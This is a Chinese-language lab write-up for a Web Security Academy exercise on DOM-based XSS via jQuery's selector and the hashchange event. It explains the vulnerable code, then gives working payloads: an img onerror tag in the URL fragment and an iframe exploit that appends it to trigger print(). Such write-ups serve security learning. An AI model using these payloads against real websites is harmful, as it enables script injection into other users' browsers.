一句话解释这个漏洞:
攻击者把恶意代码放进URL的#后面,网站傻傻地把这段代码当成选择器的一部分执行,结果浏览器把这段"选择器"当成了HTML标签创建并执行了其中的JavaScript。
看看前端代码

| $(window).on('hashchange', function(){ |
|---|
| var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')'); |
| if (post) post.get(0).scrollIntoView(); |
| }); |
关键部分解释
-
事件监听 :
$(window).on('hashchange', function(){...})- 监听
window对象的hashchange事件,当浏览器地址栏中#后面的哈希值发生变化时(比如从#标题1变成#标题2),就会执行这个回调函数。
- 监听
-
哈希值处理:
-
window.location.hash:获取地址栏的哈希值(包含#,比如#Java入门)。 -
控制台输入window.location.hash

.slice(1):去掉开头的#,得到纯文本(比如Java入门)。
-
decodeURIComponent():解码 URI 编码的字符(比如处理%20这类空格编码),避免中文 / 特殊字符匹配失败。
-
-
元素查找:
$('section.blog-list h2:contains(...)'):在<section class="blog-list">标签下,查找所有包含指定文本的<h2>标签(也就是博客标题)。- 注意:
:contains是 jQuery 选择器,匹配包含指定文本的元素,匹配是大小写敏感的。
-
滚动到视图:
post.get(0):把 jQuery 对象转换成原生 DOM 元素(因为scrollIntoView()是原生 JS 方法)。scrollIntoView():让找到的元素自动滚动到浏览器可视区域的顶部(默认行为)。- 原代码中
if (post)其实不够严谨,因为即使没找到元素,post也是一个空的 jQuery 对象(布尔值为true),应该改成if (post.length > 0)。
https://0abd00710449d45fca56979b007600ea.web-security-academy.net/# <img src="x" onerror=alert(777)>

提示要用print打印机
bash
https://0abd00710449d45fca56979b007600ea.web-security-academy.net/#%20%3Cimg%20src=%22x%22%20onerror=print()%3E

使用exploit server
iframe嵌入攻击:
iframe标签用于加载嵌入外部内容。
bash
<iframe src="https://0acb007a0425916d804c03c000830035.web-security-academy.net/#" onload="this.src += '<img src=# onerror=print()>'"></iframe>
store(存储)并执行viewexpliot


